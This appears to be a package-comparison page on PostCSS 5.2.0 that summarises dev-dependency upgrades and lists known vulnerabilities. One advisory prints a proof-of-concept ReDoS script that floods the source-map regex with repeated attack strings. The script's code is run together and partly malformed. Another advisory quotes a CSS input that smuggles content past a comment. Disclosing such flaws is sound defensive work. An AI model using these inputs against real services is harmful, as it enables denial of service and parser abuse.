PostCSS version 5.2.0 introduces subtle but noteworthy enhancements compared to its predecessor, 5.1.2. Both versions serve as robust tools for transforming styles using JavaScript plugins, offering core dependencies like js-base64, source-map, and supports-color to ensure seamless processing and debugging. The key differences primarily lie within the development dependencies, reflecting updates in the tooling ecosystem.
Specifically, version 5.2.0 upgrades several developer dependencies, including eslint (from 3.2.2 to 3.4.0), babel-core and babel-preset-es2015 (both from 6.13.2 to 6.14.0), del (from 2.2.1 to 2.2.2), gulp-ava (from 0.13.0 to 0.14.1), and postcss-parser-tests (from 5.0.9 to 5.0.10). Additionally, version 5.2.0 introduces the pre-commit and lint-staged packages which are very useful when working in teams. This suggests a focus on improved code quality and testing workflows. While these updates are largely under the hood, they can impact developer experience by providing access to newer linting rules, enhanced testing capabilities, and potentially improved build processes. The upgrade enhances compatibility with the evolving JavaScript landscape, ensuring developers can leverage the latest features and best practices. For developers, these changes translate to a more streamlined development environment, potentially leading to quicker iteration cycles and more reliable code output.
All the vulnerabilities related to the version 5.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.